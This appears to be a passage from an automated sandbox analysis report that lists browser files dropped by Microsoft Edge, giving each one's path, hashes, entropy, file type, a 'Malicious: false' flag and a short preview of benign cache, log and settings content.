SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlr7K+X:Ls3T
MD5:	4B3EAB222DA13799C65924517E665040
SHA1:	4862E992A296E42E8FA0776746AC8549375177F3
SHA-256:	5FC38E42B25C94C6BE87140391D91BA615BBEFDBA68D0131ED848D3AC09CA843
SHA-512:	4CE03F24B0E31CE3F9EFD77466D68956286A225DD1DB561D1CB5C59DC7D344C7AE7385E24441411035B511B7E684F5E7152A38FBFE229A875E79C78687602A43
Malicious:	false
Preview:	............................................../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.198026904100263
Encrypted:	false
SSDEEP:	12:7unlyvYfYebvqBQFUt8OrY/+OM2R5JfYebvqBvJ:7alYYfYebvZg8OMXDJfYebvk
MD5:	B11AA1F28B997646F8F4C8B222C3D36E
SHA1:	B61C9279BC53BA8693D709E81F6A897830711CA4
SHA-256:	8E93223D4EDF241C6E23F9390AE5252087C2E59222485A19BFBED50889F4F04F
SHA-512:	9BD3AB44BE226A91A3EDD461C50BA42F521C0DFEE4C7D157A8546C2E1414D4EF4E278A487C9D3053B647D53D4227873E21CFE4A951E6F60536E041C60AD547CC
Malicious:	false
Preview:	2024/12/16-10:14:21.026 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/16-10:14:21.028 1e34 Recovering log #3.2024/12/16-10:14:21.032 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.198026904100263
Encrypted:	false
SSDEEP:	12:7unlyvYfYebvqBQFUt8OrY/+OM2R5JfYebvqBvJ:7alYYfYebvZg8OMXDJfYebvk
MD5:	B11AA1F28B997646F8F4C8B222C3D36E
SHA1:	B61C9279BC53BA8693D709E81F6A897830711CA4
SHA-256:	8E93223D4EDF241C6E23F9390AE5252087C2E59222485A19BFBED50889F4F04F
SHA-512:	9BD3AB44BE226A91A3EDD461C50BA42F521C0DFEE4C7D157A8546C2E1414D4EF4E278A487C9D3053B647D53D4227873E21CFE4A951E6F60536E041C60AD547CC
Malicious:	false
Preview:	2024/12/16-10:14:21.026 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/16-10:14:21.028 1e34 Recovering log #3.2024/12/16-10:14:21.032 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1286e23f-b5b8-470e-b88b-8a049af6a719.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\679d0866-5070-4b5a-a9e1-28a46b1c3582.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF329c0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF411cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF31176.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a0f6cd93-566a-4a2f-8bc1-a6b066bd16bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\eac05137-4ecf-4b0c-a065-f5458b129efa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRKXk1Yn:YH/u2caq3QH7E4TX
MD5:	1192DD11B1F5F8724DA374B0366A428E
SHA1:	CB40812A40613465E160C478DDF991C0AAA00731
SHA-256:	8E9C85442D198CE1085D98E21111320C07C08869CDD11853AF32FDFE8B2FDC58
SHA-512:	B7F100EA4668A801CA3BE81F38615E66EC871A8E093742D9B9673A278094508EA7099B6799EEF5D9C8FC5BB9CF72E52AC638EF93BBE14CB860E008BDBCA6FA32
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f2475ef5-9fff-4c80-b055-3a4f9b2d31d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.280528192919855
Encrypted:	false
SSDEEP:	12:7es4vYfYebvqBZFUt8OeSCJ/+OYD5JfYebvqBaJ:7FKYfYebvyg8ONC9YVJfYebvL
MD5:	3428BF940C75BBD69480922FD97978D3
SHA1:	DE22CD6855B581666D14E92DA665533033DE74AA
SHA-256:	2091A6B5A58900BB590924C53A765A03DCAB661317628A7A223573BFC61EE635
SHA-512:	E491D9040B5252D0665B0C1F79CC45CE27CB348ADA239A97B0669AFADEA54FDA212E3FC33417B046E0D21F69B6AB63B61640B48859C9200877FAA52377A64D59
Malicious:	false
Preview:	2024/12/16-10:14:37.790 14b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/16-10:14:37.797 14b8 Recovering log #3.2024/12/16-10:14:37.803 14b8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.280528192919855
Encrypted:	false
SSDEEP:	12:7es4vYfYebvqBZFUt8OeSCJ/+OYD5JfYebvqBaJ:7FKYfYebvyg8ONC9YVJfYebvL
MD5:	3428BF940C75BBD69480922FD97978D3
SHA1:	DE22CD6855B581666D14E92DA665533033DE74AA
SHA-256:	2091A6B5A58900BB590924C53A765A03DCAB661317628A7A223573BFC61EE635
SHA-512:	E491D9040B5252D0665B0C1F79CC45CE27CB348ADA239A97B0669AFADEA54FDA212E3FC33417B046E0D21F69B6AB63B61640B48859C9200877FAA52377A64D59
Malicious:	false
Preview:	2024/12/16-10:14:37.790 14b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/16-10:14:37.797 14b8 Recovering log #3.2024/12/16-10:14:37.803 14b8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.214999555273879
Encrypted:	false
SSDEEP:	6:73q2Pwkn23oH+TcwtpIFUt8OuH9Zmw+OuHPkwOwkn23oH+Tcwta/WLJ:73vYfYebmFUt8OuH9/+OuHP5JfYebaUJ
MD5:	C3CF5D28001C2810689AF40DF2AAD639
SHA1:	B811E310EE01B0D84D16C9E53E5CA971EE2106BA
SHA-256:	61C903E566B8DA5E15666184A40A04A09C56523A311B8C4911DAC7784701E41A
SHA-512:	37F26387AEDEEA88AEBBB02E858C5CFD0CB46A15D94EA5268E6CD9EA04D5A423C2F58C4DB92A177845E2443B4B22FF663DCCB8279A7DC12235843515EF8F5FBD
Malicious:	false
Preview:	2024/12/16-10:14:19.992 fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/16-10:14:19.994 fb4 Recovering log #3.2024/12/16-10:14:19.994 fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.214999555273879
Encrypted:	false
SSDEEP:	6:73q2Pwkn23oH+TcwtpIFUt8OuH9Zmw+OuHPkwOwkn23oH+Tcwta/WLJ:73vYfYebmFUt8OuH9/+OuHP5JfYebaUJ
MD5:	C3CF5D28001C2810689AF40DF2AAD639
SHA1:	B811E310EE01B0D84D16C9E53E5CA971EE2106BA
SHA-256:	61C903E566B8DA5E15666184A40A04A09C56523A311B8C4911DAC7784701E41A
SHA-512:	37F26387AEDEEA88AEBBB02E858C5CFD0CB46A15D94EA5268E6CD9EA04D5A423C2F58C4DB92A177845E2443B4B22FF663DCCB8279A7DC12235843515EF8F5FBD
Malicious:	false
Preview:	2024/12/16-10:14:19.992 fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/16-10:14:19.994 fb4 Recovering log #3.2024/12/16-10:14:19.994 fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033769341339387224
Encrypted:	false
SSDEEP:	3:ImtVui//l/zmO/:IiVui//4O/
MD5:	53E8D0B5751E806FBE414CC6C801EF1F
SHA1:	DC1BFA2A47B8E03E849F810150717D3C84D44140
SHA-256:	18F7E5056DA03E12845D77BAA340C06E7AE1E542478F8E479BA8ED3A07A0A3B0
SHA-512:	E4423E274B44A0BD7458BB313F756D55FAABB1CC6BA1FE40C9A1A0A09A0D5BE6A77E9430D781AF535C32B04683AFE106BA81CB21A79E7BC72DAC41DBACE538E8
Malicious:	false
Preview:	VLnk.....?.........u.6Q.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.067068770156014
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTAnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumYHFn6:QrzWMffknzkkqtXnTK+hNH+5EVumG
MD5:	F9A5A2B50E5FD4A188F5C26B4FA1C7B2
SHA1:	2CC77307D057725A80BE12476C6E90E24D4F4242
SHA-256:	0D3A4802A3D17FFD6A97942F8119BF07DADB4BF31599B47F7A9A87EB1E06AF54
